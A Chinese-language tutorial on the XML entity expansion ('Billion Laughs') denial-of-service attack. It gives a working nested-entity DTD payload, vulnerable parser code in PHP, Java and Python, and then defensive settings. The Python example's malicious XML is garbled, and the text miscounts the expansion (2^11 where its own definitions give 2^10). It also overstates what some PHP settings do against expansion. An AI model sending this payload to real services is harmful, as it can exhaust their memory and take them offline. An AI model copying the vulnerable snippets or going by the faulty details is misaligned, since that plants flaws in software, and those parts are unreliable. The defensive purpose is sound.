XML实体扩展攻击又被称为Billion Laughs攻击,核心是利用XML规范中允许定义实体的特性,通过多层嵌套的实体递归引用,让解析器在解析时生成海量内容,耗尽服务器资源。这种攻击不需要获取敏感数据,仅通过构造特殊的XML payload就能让目标服务陷入无响应状态。

XML实体扩展攻击的基本原理
XML规范支持在文档类型定义(DTD)中声明实体,实体可以引用其他实体,当解析器处理包含递归实体引用的XML时,会不断展开实体内容。例如定义一个实体<!ENTITY a "test">,再定义<!ENTITY b "&a;&a;">,那么b展开后就是两个test,若按照指数级嵌套定义实体,最终展开的内容量会呈爆炸式增长。
常见的恶意DTD结构如下:
<!DOCTYPE foo [
<!ENTITY x0 "ha">
<!ENTITY x1 "&x0;&x0;">
<!ENTITY x2 "&x1;&x1;">
<!ENTITY x3 "&x2;&x2;">
<!ENTITY x4 "&x3;&x3;">
<!ENTITY x5 "&x4;&x4;">
<!ENTITY x6 "&x5;&x5;">
<!ENTITY x7 "&x6;&x6;">
<!ENTITY x8 "&x7;&x7;">
<!ENTITY x9 "&x8;&x8;">
<!ENTITY x10 "&x9;&x9;">
]>
上述定义中,x10展开后会包含2的11次方个ha,随着嵌套层数增加,展开后的内容会指数级增长,最终超过服务器内存承载能力。
不同场景下的攻击代码实例
PHP场景下的攻击示例
PHP的simplexml_load_string函数默认会解析XML中的DTD,若未禁用外部实体和实体扩展,就容易受到攻击。以下是模拟攻击的测试代码:
<?php
// 模拟接收用户传入的XML数据
$inputXml = $_POST['xml_data'] ?? '';
// 未禁用实体扩展的解析逻辑,存在漏洞
libxml_disable_entity_loader(false);
$xml = simplexml_load_string($inputXml);
if ($xml) {
echo "XML解析成功";
} else {
echo "XML解析失败";
}
?>
攻击者可以向接口发送如下的POST数据触发攻击:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY x0 "ha">
<!ENTITY x1 "&x0;&x0;">
<!ENTITY x2 "&x1;&x1;">
<!ENTITY x3 "&x2;&x2;">
<!ENTITY x4 "&x3;&x3;">
<!ENTITY x5 "&x4;&x4;">
<!ENTITY x6 "&x5;&x5;">
<!ENTITY x7 "&x6;&x6;">
<!ENTITY x8 "&x7;&x7;">
<!ENTITY x9 "&x8;&x8;">
<!ENTITY x10 "&x9;&x9;">
]>
<foo>&x10;</foo>
Java场景下的攻击示例
Java的DOM解析器默认也会处理XML实体,以下是存在风险的解析代码:
import org.w3c.dom.Document;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import java.io.ByteArrayInputStream;
public class XmlParseTest {
public static void parseXml(String xmlContent) {
try {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// 未禁用DTD和实体扩展,存在漏洞
DocumentBuilder builder = factory.newDocumentBuilder();
Document document = builder.parse(new ByteArrayInputStream(xmlContent.getBytes("UTF-8")));
System.out.println("XML解析完成");
} catch (Exception e) {
e.printStackTrace();
}
}
}
攻击者传入的恶意XML内容和PHP场景的payload一致,解析时会触发实体展开,消耗大量内存。
Python场景下的攻击示例
Python的xml.etree.ElementTree模块在默认配置下不会解析DTD,但使用lxml库时若未做配置就容易受影响,以下是风险代码:
from lxml import etree
def parse_xml(xml_content):
# 未禁用DTD解析,存在实体扩展风险
parser = etree.XMLParser(resolve_entities=True)
tree = etree.fromstring(xml_content, parser)
print("XML解析成功")
if __name__ == "__main__":
# 模拟恶意XML输入
malicious_xml = """<?xml version="1.0" encoding="UTF-8"?>
]>
&x10; """
parse_xml(malicious_xml)
防御XML实体扩展攻击的方法
要防范这类攻击,核心是从解析器配置层面禁用不必要的DTD处理和实体扩展,不同语言的防御方式如下:
- PHP:解析XML前调用
libxml_disable_entity_loader(true)禁用外部实体加载,同时限制实体扩展的最大深度,可通过libxml_set_external_entity_loader自定义实体加载逻辑,拒绝所有实体请求。 - Java:使用
DocumentBuilderFactory时,设置factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)完全禁用DTD,或者设置factory.setFeature("http://xml.org/sax/features/external-general-entities", false)禁用外部通用实体。 - Python:使用
lxml时,设置XMLParser(resolve_entities=False, no_network=True),禁止解析实体和加载网络资源;使用标准库xml.etree.ElementTree时,避免直接解析不可信的XML内容,或提前过滤DTD声明。
此外,对用户输入的XML内容做前置校验,过滤包含<!DOCTYPE、<!ENTITY等关键字的恶意内容,也能进一步降低攻击风险。
XML_entity_expansionXXEDoS修改时间:2026-06-26 17:30:24